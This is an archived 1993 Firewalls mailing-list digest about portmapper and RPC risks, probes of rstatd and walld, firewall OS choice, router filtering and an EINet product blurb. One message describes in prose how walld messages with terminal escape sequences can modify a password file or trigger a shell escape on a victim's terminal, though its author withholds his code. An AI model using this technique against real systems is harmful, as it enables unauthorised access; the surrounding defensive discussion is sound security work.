1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA14881; Wed, 8 Sep 93 23:16:25 GMT Received: from sgigate.sgi.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA14873; Wed, 8 Sep 93 16:16:03 PDT Received: from yeager.corp.sgi.com by sgigate.sgi.com via SMTP (920330.SGI/920502.SGI) id AA01627; Wed, 8 Sep 93 16:07:06 -0700 Received: by yeager.corp.sgi.com (930416.SGI/930416.SGI) for @sgigate.sgi.com:firewalls@GreatCircle.COM id AA16499; Wed, 8 Sep 93 16:07:02 -0700 From: lear@yeager.corp.sgi.com (Eliot Lear) Message-Id: <9309081607.ZM16497@yeager.corp.sgi.com> Date: Wed, 8 Sep 1993 16:06:58 -0700 In-Reply-To: "Michael P. Ressler" "portmapper" (Sep 8, 6:15pm) References: <199309082215.AA26605@shadow.secure.bellcore.com> X-Mailer: Z-Mail (3.0B.0 25aug93 MediaMail) To: "Michael P. Ressler" Subject: Re: portmapper Cc: firewalls@GreatCircle.COM Content-Type: text/plain; charset=us-ascii Mime-Version: 1.0 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk portmapper is the program that assigns in a rather haphazard way tcp and udp ports to different services. It is the primary reason why udp is more often than not walled off from the outside. After all, the last thing you want to let through are a bunch of random NFS requests. -- Eliot Lear [lear@sgi.com] From Firewalls-Owner Wed Sep 8 23:22:15 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA14932; Wed, 8 Sep 93 23:22:15 GMT Received: from localhost by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA14924; Wed, 8 Sep 93 16:22:04 PDT Message-Id: <9309082322.AA14924@mycroft.GreatCircle.COM> To: lear@yeager.corp.sgi.com (Eliot Lear) Cc: "Michael P. Ressler" , firewalls@GreatCircle.COM Subject: Re: portmapper In-Reply-To: Your message of Wed, 8 Sep 1993 16:06:58 -0700 Date: Wed, 08 Sep 93 16:22:02 -0700 From: Brent Chapman Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk # portmapper is the program that assigns in a rather haphazard way tcp # and udp ports to different services. It is the primary reason why udp # is more often than not walled off from the outside. After all, the # last thing you want to let through are a bunch of random NFS requests. Actually, portmapper doesn't make the port assignments. Each RPC process "randomly" chooses and binds to its own port number, then registers that and its well-known fixed RPC number with portmapper. -Brent -- Brent Chapman Great Circle Associates Brent@GreatCircle.COM 1057 West Dana Street +1 415 962 0841 Mountain View, CA 94041 From Firewalls-Owner Wed Sep 8 23:26:43 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA14977; Wed, 8 Sep 93 23:26:43 GMT Received: from NMSU.Edu (dns1.NMSU.Edu) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA14967; Wed, 8 Sep 93 16:26:32 PDT From: amolitor@NMSU.Edu Received: from emmy (emmy.NMSU.Edu) by NMSU.Edu (4.1/NMSU-1.18) id AA27504; Wed, 8 Sep 93 17:28:33 MDT Date: Wed, 8 Sep 93 17:28:32 MDT Message-Id: <9309082328.AA27504@NMSU.Edu> Received: by emmy (4.1/NMSU) id AA02226; Wed, 8 Sep 93 17:28:30 MDT To: firewalls@GreatCircle.COM Subject: Re: portmapper Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk portmapper will also (in some implementations?) do RPC on behalf of the caller, making the RPC request appear to be locally generated, busting some authentication nicely. Fundamentally, it's a pretty wretched, albeit awfully useful, idea. Andrew From Firewalls-Owner Thu Sep 9 00:37:37 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA15393; Thu, 9 Sep 93 00:37:37 GMT Received: from azalea.tis.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA15386; Wed, 8 Sep 93 17:37:31 PDT Received: by azalea.tis.com; id AA02253; Wed, 8 Sep 93 20:39:02 EDT Received: from tis.com/192.33.112.100 via smap Received: from otter.TIS.COM by TIS.COM (4.1/SUN-5.64) id AA10584; Wed, 8 Sep 93 20:39:47 EDT Received: by otter.TIS.COM (5.65/client) id AA26231; Wed, 8 Sep 93 20:39:47 -0400 From: mjr@TIS.COM Date: Wed, 8 Sep 93 20:39:47 -0400 Message-Id: <26231.9309090039@otter.TIS.COM> To: amolitor@NMSU.Edu, firewalls@GreatCircle.COM Subject: Re: portmapper Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Portmapper also has some interesting builtin services, like hooks to wall, which can be used anonymously to send messages to everyone on a system. There have been a lot of hacks and tricks tossed into portmapper to try to make it reasonable, but it's still a nasty bit of work. Used to be you could very easily (in about a page of code) redirect NFS mount requests. NFS uses a hardcoded service port, but mountd does not. If you're interested in security, comment portmapper out of rc.local (or do like ches and smb and have a fake one there to catch all the fruitflies). mjr. From Firewalls-Owner Thu Sep 9 02:52:32 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA15651; Thu, 9 Sep 93 02:52:32 GMT Received: from mod.dsto.gov.au (manta.dsto.gov.au) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA15644; Wed, 8 Sep 93 19:52:23 PDT Received: from caddyshack.mod.dsto.gov.au ([131.185.21.129]) by mod.dsto.gov.au (4.1/SMI-4.1) id AA21115; Thu, 9 Sep 93 11:58:38 CST Date: Thu, 9 Sep 93 11:58:38 CST From: sjf@mod.dsto.gov.au (Stephen Fitzgerald) Message-Id: <9309090228.AA21115@mod.dsto.gov.au> To: firewalls@GreatCircle.COM Subject: Novell IP tunnel through firewall Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Hi all, I have a need for 2 novell servers to communicate through my firewall. My firewall is a dual homed SPARC station running SunOS with IPFORWARDING turned off. My question: Has anyone already written a proxy server which will handle the passing of the IP Tunnelled IPX packets? A package with some access control facility, either tcpd control ability or some thing like the socks access control would be preferred. I only want to allow communication instigated from 1 side of my firewall, i.e. 1 novell server. Thanks Regards ========================================================================== Stephen Fitzgerald E-mail: sjf@mod.dsto.gov.au Maritime Operations Division Phone : +61 8 259 5992 DSTO Salisbury, South Australia Fax : +61 8 259 5139 _--_|\ / \ \_.--*_/ v From Firewalls-Owner Thu Sep 9 15:28:57 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA17635; Thu, 9 Sep 93 15:28:57 GMT Received: from pluto.sm.dsi.unimi.it by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA17626; Thu, 9 Sep 93 08:28:48 PDT Received: by pluto.sm.dsi.unimi.it (1.37.109.4/16.2) id AA01769; Thu, 9 Sep 93 16:57:47 +0200 Message-Id: <9309091457.AA01769@pluto.sm.dsi.unimi.it> From: vince@dsi.unimi.it (David Vincenzetti) Date: Thu, 9 Sep 1993 16:57:47 +0000 X-Mailer: Mail User's Shell (7.2.5 10/14/92) To: firewalls@GreatCircle.COM Subject: portmapper Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk --- Forwarded mail from Brent Chapman Basicly, in a nutshell, "portmapper" is the least of the problem. Blocking access to portmapper doesn't keep crackers from talking to your RPC based services; it merely makes them fish around to find them rather than being able to ask portmapper. You end up having to block all UDP traffic except for certain ports for NTP and DNS, in order to block the vulnerable RPC-based services like YP/NIS. --- End of forwarded message from Brent Chapman So, the use of Wietse Venema's portmapper is highly recomended. V's potmapper is a ``portmapper replacement with access control in the style of the tcp wrapper (log_tcp) package. It provides a simple mechanism to discourage access to the NIS (YP), NFS, and other services registered with the portmapper''. I've been using V's portmapper for a long time, and I've been able to log many cracking attempts coming from many host worldwide. One very common attack is when some malicious hackers attempts to remotely NFS mount our disks or dump our YP maps. Lately I've noticed that a quite large number of remote users (hackers?) try to access my rstatd and/or walld daemons. This is just the latest log I got: Sep 8 18:39:56 ghost portmap[29131]: connect from 129.16.30.21 to getport(rstatd): request from unauthorized host Sep 9 02:28:08 ghost portmap[4937]: connect from 129.130.12.2 to callit(walld): request from unauthorized host I can't find out a way to crack a system using these services, and I suppose that they are completely harmless. Anyway I'm still wondering: if there is no way to use rstatd and walld to crack a system, why the hell absolutely unknown and far away sites want to use them in here? Regards, David -- David Vincenzetti, system adminitrator | DSI, Universita` degli Studi di Milano, | phone: ++39 2 55006 391 via Comelico 39, 20135 Milan, ITALY | fax: ++39 2 55006 373 From Firewalls-Owner Thu Sep 9 15:52:54 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA17891; Thu, 9 Sep 93 15:52:54 GMT Received: from ALABAMA.CF.CS.YALE.EDU (RT-GW.CS.YALE.EDU) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA17865; Thu, 9 Sep 93 08:52:22 PDT Received: from SPARKY.CF.CS.YALE.EDU by ALABAMA.CF.CS.YALE.EDU (5.65c/res.host.cf-3.5) with SMTP id AA04291; Thu, 9 Sep 1993 11:54:30 -0400 Received: by SPARKY.CF.CS.YALE.EDU (Sendmail-5.65c/res.client.cf-3.7) id AA08507; Thu, 9 Sep 1993 11:54:29 -0400 From: long-morrow@CS.YALE.EDU (H Morrow Long) Message-Id: <199309091554.AA08507@SPARKY.CF.CS.YALE.EDU> To: vince@dsi.unimi.it (David Vincenzetti) Cc: firewalls@GreatCircle.COM Subject: Re: portmapper In-Reply-To: Your message of Thu, 09 Sep 93 16:57:47 -0100. Date: Thu, 09 Sep 93 11:54:26 -0400 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk In message <9309091457.AA01769@pluto.sm.dsi.unimi.it> you write: >I can't find out a way to crack a system using these services, and I >suppose that they are completely harmless. Anyway I'm still wondering: >if there is no way to use rstatd and walld to crack a system, why >the hell absolutely unknown and far away sites want to use them in here? Curiosity. Because its there. walld can be used to annoy people. - Morrow From Firewalls-Owner Thu Sep 9 16:54:14 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA18057; Thu, 9 Sep 93 16:54:14 GMT Received: from research.att.com (ninet.research.att.com) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA18050; Thu, 9 Sep 93 09:54:04 PDT Message-Id: <9309091654.AA18050@mycroft.GreatCircle.COM> From: smb@research.att.com Received: by gryphon; Thu Sep 9 12:56:01 EDT 1993 To: vince@dsi.unimi.it (David Vincenzetti) Cc: firewalls@GreatCircle.COM Subject: Re: portmapper Date: Thu, 09 Sep 93 12:56:00 EDT Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Lately I've noticed that a quite large number of remote users (hackers?) try to access my rstatd and/or walld daemons. This is just the latest log I got: Sep 8 18:39:56 ghost portmap[29131]: connect from 129.16.30.21 to get port(rstatd): request from unauthorized host Sep 9 02:28:08 ghost portmap[4937]: connect from 129.130.12.2 to callit(walld): request from unauthorized host I can't find out a way to crack a system using these services, and I suppose that they are completely harmless. Anyway I'm still wondering: if there is no way to use rstatd and walld to crack a system, why the hell absolutely unknown and far away sites want to use them in here? Some of that may be innocent. We also detected a fair number of such requests. It turns out that there's a bug/feature in rwalld... Here's what I noted in a forthcoming paper: On several occasions, our RPC\cite{sunnet,rpc} monitors have detected attempts to send ``{\tt wall}'' broadcast messages to our machine. On at least one occasion, the request came from a site in Germany. Investigation of the code for the {\tt rwall} command showed that if an entry in the {\tt netgroup} file was not a valid host name, it was presumed to be a wild card. This in turn caused the broadcast message to be sent to every machine listed in the host file. The combination of this property of the code, and the apparent persistence of host tables, can cause a mind-boggling number of messages to be sent. (You can pick up ``Packets Found on an Internet'' from research.att.com, dist/smb/packets.{dvi,ps}, or wait for the July '93 issue of Computer Communications Review to appear.) As for rstatd -- some folks say they use it as an application-level ping. From Firewalls-Owner Thu Sep 9 16:58:46 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA18084; Thu, 9 Sep 93 16:58:46 GMT Received: from azalea.tis.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA18077; Thu, 9 Sep 93 09:58:40 PDT Received: by azalea.tis.com; id AA06822; Thu, 9 Sep 93 13:00:13 EDT Received: from tis.com/192.33.112.100 via smap Received: from otter.TIS.COM by TIS.COM (4.1/SUN-5.64) id AA06760; Thu, 9 Sep 93 12:58:15 EDT Received: by otter.TIS.COM (5.65/client) id AA29996; Thu, 9 Sep 93 12:58:14 -0400 From: mjr@TIS.COM Date: Thu, 9 Sep 93 12:58:14 -0400 Message-Id: <29996.9309091658@otter.TIS.COM> To: firewalls@GreatCircle.COM, vince@dsi.unimi.it Subject: Re: portmapper Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk >Anyway I'm still wondering: >if there is no way to use rstatd and walld to crack a system, why >the hell absolutely unknown and far away sites want to use them in here? If you know that the someone with permissions is logged in using a terminal with transmit-back mode, you can wall a message with escape sequences to, say, modify the password file. Note that Sun's wall proc doesn't strip escape codes -- I informed CERT of this about a year ago, and nobody felt it was important anymore. I have code to demo this that I was going to include with this mail, but since it can also be used to irritate users anonymously, I'll refrain in the name of network harmony. It's a fairly unsubtle attack and hard to pull off, since it's terminal dependent and requires you to know who's logged on and when. On the other hand, it works great when it works. You just do a ps -lxeww on the terminal of your prospective victim, get their environment and make sure they have the right type of terminal, and desired permissions then blast them a message that does whatever bad thing you want, and then clears the screen. If they're in an editor, you can even trigger a shell escape. mjr. From Firewalls-Owner Thu Sep 9 17:39:29 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA18231; Thu, 9 Sep 93 17:39:29 GMT Received: from tadpole.Tadpole.COM by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA18224; Thu, 9 Sep 93 10:39:21 PDT Received: by tadpole.Tadpole.COM (4.1/SMI-4.1) id AA04668; Thu, 9 Sep 93 12:41:46 CDT Date: Thu, 9 Sep 93 12:41:46 CDT From: jim@tadpole.com (Jim Thompson) Message-Id: <9309091741.AA04668@tadpole.Tadpole.COM> To: smb@research.att.com, vince@dsi.unimi.it Subject: Re: portmapper Cc: firewalls@GreatCircle.COM Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > As for rstatd -- some folks say they use it as an application-level > ping. Or a target for 'perfmeter'. :-) From Firewalls-Owner Thu Sep 9 18:44:10 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA18738; Thu, 9 Sep 93 18:44:10 GMT Received: from volitans.MorningStar.Com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA18731; Thu, 9 Sep 93 11:43:50 PDT Received: by volitans.MorningStar.Com (5.65a/93052901) id AA20099; Thu, 9 Sep 93 14:44:56 -0400 Date: Thu, 9 Sep 93 14:44:56 -0400 From: Bob Sutterfield Message-Id: <9309091844.AA20099@volitans.MorningStar.Com> To: andy@homebase.vistachrome.com (Andy Finkenstadt), andy@homes.com, andy@genie.geis.com Cc: firewalls@GreatCircle.COM In-Reply-To: andy@homebase.vistachrome.com's message of Wed, 1 Sep 1993 15:48:39 GMT Subject: Morningstar Router used for Frame Relay PSI Offer Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk From: andy@homebase.vistachrome.com (Andy Finkenstadt) To: firewalls@greatcircle.com Date: Wed, 1 Sep 1993 15:48:39 GMT Just how secure is it? I would imagine that it is, since they also offer an encryption option, but for our DMZ/Internet connection we are forsaking security in the first place. The Morning Star Express router contains the same packet filtering code as our UNIX PPP/SLIP software. For SLIP, PPP, and Frame Relay connections, it can filter packets based on IP address (src or dst) TCP or UDP port number (src or dst), or ICMP type and code TCP SYN or FIN Inbound or outbound packet IP options (source routing, satid, etc.) It can't filter on User Identity (who invoked rlogin?) Time of Day (coming soon) It can return ICMP Destination Unreachable messages with appropriate code values like prot Transport protocol is not supported host-isolated The source host is isolated net-prohibited Communication with destination network is administratively prohibited srcfail Source route failed For more information, see http://www.MorningStar.Com/, or use anonymous FTP to browse ftp.MorningStar.Com:pub/{ppp,Express}/*. From Firewalls-Owner Thu Sep 9 18:47:40 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA18773; Thu, 9 Sep 93 18:47:40 GMT Received: from relay1.UU.NET by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA18766; Thu, 9 Sep 93 11:47:32 PDT Received: from spool.uu.net (via LOCALHOST) by relay1.UU.NET with SMTP (5.61/UUNET-internet-primary) id AA11437; Thu, 9 Sep 93 14:50:04 -0400 Received: from racerx.UUCP by uucp6.uu.net with UUCP/RMAIL (queueing-rmail) id 144841.5402; Thu, 9 Sep 1993 14:48:41 EDT Received: by racerx (4.1/SMI-4.0) id AA19785; Thu, 9 Sep 93 13:35:35 CDT Date: Thu, 9 Sep 93 13:35:35 CDT From: ken@bridge.COM (Ken Hardy) Message-Id: <9309091835.AA19785@racerx> To: firewalls@GreatCircle.COM Subject: archive bibliography? Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Having fetched and read many of the papers and other documents cited here, I wonder wether there is a regularly updated bibliography that describes all such relevant documents and where they can be had. If such a list exists, or could be created by some generous soul in-the- know, then it could either be periodically posted here, ala a FAQ, or be made available via ftp and frequently referred to in response to queries which usually elicit a citation of individual resources. Is there any such list that I can get now? Ken Hardy ken@bridge.com (racerx!ken) P.S.: What about a _comprehensive_ list of the software tools that are useful to those who frequent these environs? From Firewalls-Owner Thu Sep 9 19:37:56 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA18937; Thu, 9 Sep 93 19:37:56 GMT Received: from azalea.tis.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA18930; Thu, 9 Sep 93 12:37:50 PDT Received: by azalea.tis.com; id AA08154; Thu, 9 Sep 93 15:39:24 EDT Received: from tis.com/192.33.112.100 via smap Received: from otter.TIS.COM by TIS.COM (4.1/SUN-5.64) id AA18488; Thu, 9 Sep 93 15:40:20 EDT Received: by otter.TIS.COM (5.65/client) id AA01604; Thu, 9 Sep 93 15:40:18 -0400 From: mjr@TIS.COM Date: Thu, 9 Sep 93 15:40:18 -0400 Message-Id: <1604.9309091940@otter.TIS.COM> To: firewalls@GreatCircle.COM, ken@bridge.COM Subject: Re: archive bibliography? Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk >P.S.: What about a _comprehensive_ list of the software tools that >are useful to those who frequent these environs? I'm working on one of these for the FAQ but it's slow going. (Mostly because I have this huge pile of documentation I'm supposed to write for something, that needs doing) mjr. From Firewalls-Owner Thu Sep 9 19:42:00 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA18973; Thu, 9 Sep 93 19:42:00 GMT Received: from mercury.house.gov by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA18965; Thu, 9 Sep 93 12:41:36 PDT Received: from cobalt.house.gov by mercury.house.gov with SMTP (1.37.109.4/16.2) id AA20783; Thu, 9 Sep 93 15:40:23 -0400 Received: by cobalt.house.gov (AA00657); Thu, 9 Sep 93 14:43:46 -0700 Date: Thu, 9 Sep 93 14:43:46 -0700 From: Dorian Deane Message-Id: <9309092143.AA00657@cobalt.house.gov> To: firewalls@GreatCircle.COM Subject: OS question (2nd try) Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Since the firewalls mailing list is composed of unusually polite people, I'm worried that the silence which greeted my question about degrees of security within flavors of Unix should be taken to mean that my question was a dumb one. But the recent traffic regarding portmapper is a case in point: there are those who would avoid SunOS just to avoid that whole can'o'worms. Or is any question regarding flavors of OS a foolish one because it just starts religous wars? Anyway, if it makes the question more pertinent, pretend I asked the question about platforms for firewalls rather than "exposed" systems. I believe the answer (if there is one) should be the same in either case. I included most of the original text below. thanks again, dorian original text [somewhat edited]: The primary question is, for an exposed system, such as a firewall, anon ftp server, WAIS server, etc., is any one platform better than another from a security perspective? I'm curious to hear in particular about the most popular ones: IBM's AIX (on RS/6000's), SunOS 4.1.1 and SOLARIS 2.0, HP's HP-UX 9.x, (and while I'm at it, let me add 386BSD just for personal curiosity). Forgive me if I've neglected the One True OS according to someone--feel free to give opinions on other OSs worthy of mention--NeXTStep, for example. Assume, for purposes of this question, that reasonable precautions are taken across the board: all security patches in place, avoidance of NIS, etc. The secondary question is, is Solaris 2.x considered stable enough for this kind of job? dorian dorian@cobalt.house.gov From Firewalls-Owner Thu Sep 9 23:36:46 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA19606; Thu, 9 Sep 93 23:36:46 GMT Received: from turtle.mcc.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA19599; Thu, 9 Sep 93 16:36:32 PDT Received: from paladin.mcc.com by turtle.mcc.com (4.1/isd-master_921116_15:19) id AA22983; Thu, 9 Sep 93 18:39:07 CDT Received: by paladin.mcc.com (4.1/isd-other_921116_15:19) id AA22849; Thu, 9 Sep 93 18:39:03 CDT Date: Thu, 9 Sep 93 18:39:03 CDT From: dow@mcc.com (David Dow) Message-Id: <9309092339.AA22849@paladin.mcc.com> To: crow!rik@uunet.uu.net Cc: firewalls@GreatCircle.COM Subject: Network Systems router, and EINet In-Reply-To: <9309031945.AA02567@crow.spirit.com> References: <9309031945.AA02567@crow.spirit.com> Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Rik Farrow writes: > > Another interesting development is EINet, a product of MCC, the Micro- > electronics and Computer Technology Corporation in Austin, TX. EINet > consists of application layer products (over TCP/IP or OSI) that are > supposed to provide user authentication and access control. They > also offer WAIS and X.500 service, and plan to provide a secure means > to transfer funds over the Internet and some form of PEM. Again, > anyone with any experience with EINet listening? > > Rik Farrow > rik@uworld.com > Well I'm part of the EINet project, and I'm listening, does that count? Everything you said is essentially true, but the WAIS and X.500 service will be integrated with the user authentication and access control. I asked our marketing folks what they'd like to have people know about EINet, and they gave me the blurb below. Please excuse me if this is too close to an advertisement, but it does give a pretty good idea of what we're working on and where we're going. If you have any questions, mail me a note and I'll try to answer them. David Dow - Microelectronics and Computer Technology Corporation (MCC) 3500 W. Balcones Center Dr. | VOICE: (512) 338-3777 Austin Tx. 78759 | FAX: (512) 338-3897 or -3885 dow@mcc.com | ...!cs.utexas.edu!milano!dow EINet Overview In today's business environment there may be thousands of people making countless decisions from many geographic locations. Traditional business practices can make it almost impossible to get to market fast enough to be competitive. This environment demands a whole new way of doing business - one which makes it possible to respond instantly to changes in demand, technology, and competition, and in a manner that is unhampered by time, distance, or organizational structure. The ultimate goal of MCC's Enterprise Integration Network (EINet) is to help companies achieve dramatic reductions in the time and costs of getting their products and services to market. EINet allows the widespread, secure exchange of information and services in order to increase and enhance business activity across networks. With EINet, businesses and organizations are able to interconnect with their partners, suppliers and customers. Many organizations are building private networks to do business with their suppliers and customers. However, because most of these networks are proprietary (closed), centralized systems that restrict the free flow of information, business relationships remain fairly static. EINet gives companies competitive advantage by eliminating the barriers imposed by private networks. EINet does not replace existing networks, but complements and extends their capabilities. EINet is an open, standards-based layer residing above existing physical networks that facilitates interaction among companies for the whole range of business, technical and financial transactions. EINet Infrastructure EINet is an advanced communication infrastructure that allows industry-specific applications to transparently interconnect within the physical network while providing key value-added services. EINet integrates a variety of never-before-connected capabilities into one powerful networking environment. A set of common protocols and policies links participants within a secure environment, and participating companies can offer their own custom sets of services while relying on EINet for the communications infrastructure. EINet is available on most UNIX platforms (Sun OS, Ultrix and AIX), and on PCs running Windows Version 3.1, and on the Macintosh. Network inter-connectivity is currently provided by commercial Internet providers with additional carriers and protocols to be phased in over time. EINet Services Directory Services EINet's directory services help users find information, services, companies, and people in the electronic marketplace or within their own companies, using both content-based and location-based directories. EINet provides the first-ever integration of the Wide Area Information Server (WAIS) technology and the X.500 standard. WAIS is a content-based directory that works much like the "yellow pages". Users can search for information based on simple words, phrases or questions. This directory functions like the "white pages" for a user who has a good idea of where to find information or services. Security Services One of the most significant features of EINet is the integration of security services into the electronic marketplace, a feature that is necessary for conducting business in an open network environment. The two key security services currently available are user authentication, which verifies the identities of parties on both sides of an electronic transaction, and access control, which provides companies the flexibility to restrict access to information or services based on individual identity or group affiliation. EINet is being expanded to support secure electronic mail services as well as the use of data encryption, which is the ability to encode information so that it can only be decoded by the designated recipient. Remittance Services An electronic means of payment is essential for electronic commerce. Remittance services are now being developed which will allow monetary transactions by such means as electronic checks, credit cards and letters of credit. Discussions with several internationally recognized fiduciary agents that have network banking expertise are currently under way to determine the best options for incorporating remittance technology into EINet services. Advanced E-Mail Services EINet allows e-mail of multimedia messages, combining text, video and sound in a single message. Additional e-mail services, planned for future implementation, will provide the tools to e-mail-enable existing applications. This means that the end-users will be able to take information created using any type of software package, or even multiple packages - word processing, spreadsheet, CAD tools - and encrypt that information to be transported via privacy-enhanced e-mail. EINet Services Pricing There are three basic classes of EINet participants: o Resellers (VARs, OEMs, Information Providers) re-sale value-added EINet services to specific markets, and may incorporate EINet technology into a value-added service that is accessed through EINet. o Enterprises (Consortium/Trade Associations, Corporations) sponsor groups of individual companies within an affiliated industry, or are single corporate entities implementing EINet technology to provide value-added enterprise capabilities. o Users (Individual/Sponsored, Universities) may be individual corporate components of an Enterprise or universities that will use EINet technologies solely for the purpose of research or proof of concept applications. Each EINet participant class has a different pricing structure addressing individual needs. Pricing is banded, based on the intersection of EINet access activity and the total number of registered users for any specific enterprise. The use of EINet- enabling software is granted to the participant as a component of EINet services and is not charged for on a per-unit license basis. Resellers and Enterprises may also require base fees for additional capabilities. From Firewalls-Owner Fri Sep 10 00:43:16 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA19695; Fri, 10 Sep 93 00:43:16 GMT Received: from csn.org by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA19688; Thu, 9 Sep 93 17:43:00 PDT Received: from mhinfo.UUCP by csn.org with UUCP id AA11490 (5.65c/IDA-1.4.4 for greatcircle.com!firewalls); Thu, 9 Sep 1993 18:45:01 -0600 Subject: Re: OS question (2nd try) To: Dorian Deane Date: Thu, 9 Sep 1993 17:16:41 -0600 (MDT) From: Tony Carrato Cc: firewalls@GreatCircle.COM In-Reply-To: <9309092143.AA00657@cobalt.house.gov> from "Dorian Deane" at Sep 9, 93 02:43:46 pm X-Mailer: ELM [version 2.4 PL21] Content-Type: text Content-Length: 1801 Message-Id: <9309091716.aa03109@mhinfo.mhinfo.com> Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Dorian Deane asks if there is any flavor of Unix that might be a better choice for a firewall system than another. I've got two answers, both of which might provoke a degree of religious fervor but what the heck :) 1) Don't use a Unix system as your firewall, use some other OS that believes in TCP/IP and other needed services. This may be heresy but most attacks are pointed toward some flavor of Unix. If the main purpose of the firewall system is to move appropriate things in and out, such as mail/news/telnet/ftp, and not serve as an application machine, using something besides Unix serves two purposes. Firstly, an attack on Unix probably won't break into VMS or whatever. Second, even a successful attack will have a tougher time propagating itself to the rest of your (presumably Unix) network. 2) If you must use a form of Unix, use something completely different from the rest of your network. If you run SunOS, use AIX for your gateway and so on. (Actually using AIX isn't as much of an issue as using something with differences that are fairly signifigant in the way it sees the world. For shops that REALLY want a Unix firewall, an SCO box (386/486 with SCO Unix and SCO TCP/IP) that is configured to not pass packets through and doesn't support many services/users is not a bad choice IF your network is composed of entirely different systems. \ If you don't install things like NFS on the firewall system, breaking into NFS is a lot harder. Tony ---------------------------------------------------------------------------- Tony Carrato Mile-High Information Services, Inc. carrato@mhinfo.com 9725 E. Hampden, Suite 400 fax (303) 695-8284 Denver, CO 80231 voice (303) 695-8070 U.S.A. ---------------------------------------------------------------------------- From Firewalls-Owner Fri Sep 10 01:05:22 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA19797; Fri, 10 Sep 93 01:05:22 GMT Received: from macsch.com (DRACO.MACSCH.COM) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA19790; Thu, 9 Sep 93 18:05:13 PDT Received: from [161.34.1.6] by macsch.com (5.61/SMI-4.1-07) id AA14651; Thu, 9 Sep 93 18:07:39 -0700 Received: from canismajor.is.macsch.com by convex.is.macsch.com (5.64/2.0) id AA26619; Thu, 9 Sep 93 18:02:18 -0700 Received: by canismajor.is.macsch.com (4.1/2.0) id AA20988; Thu, 9 Sep 93 18:07:30 PDT Date: Thu, 9 Sep 93 18:07:30 PDT From: todd@macsch.com (Todd Williams) Message-Id: <9309100107.AA20988@canismajor.is.macsch.com> To: firewalls@GreatCircle.COM Subject: Re: OS question (2nd try) Cc: carrato@mhinfo.com, dorian@cobalt.house.gov Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk At 5:16pm on Thu Sep 9 1993, Tony Carrato said: > > Dorian Deane asks if there is any flavor of Unix that might be a > better choice for a firewall system than another. I've got two > answers, both of which might provoke a degree of religious fervor > but what the heck :) OK, I'll bite... > 1) Don't use a Unix system as your firewall, use some other OS ... > [because most attacks are aimed at UNIX] > 2) If you must use a form of Unix, use something completely different > from the rest of your network. Well, Tony, I'll disagree with you there. I sent email to Dorian telling him just the opposite -- use a popular brand of HW/SW, and/or use the brand you are the most familiar with. While most attacks may be at the most common system, so are most fixes, and most experts (in prevention) know that system. It's just a different philosophy. Admittedly, an obscure platform might be nice, but you'd better know the ins and outs of it, and don't expect any help from others. Todd Williams UNIX Systems Supervisor todd@macsch.com (213) 259-4973 MacNeal-Schwendler Corp. ("MSC"), 815 Colorado Blvd., Los Angeles, CA 90041 "Solaris 2.0 -- It's enough to make you leave the company." -Rob Kolstad From 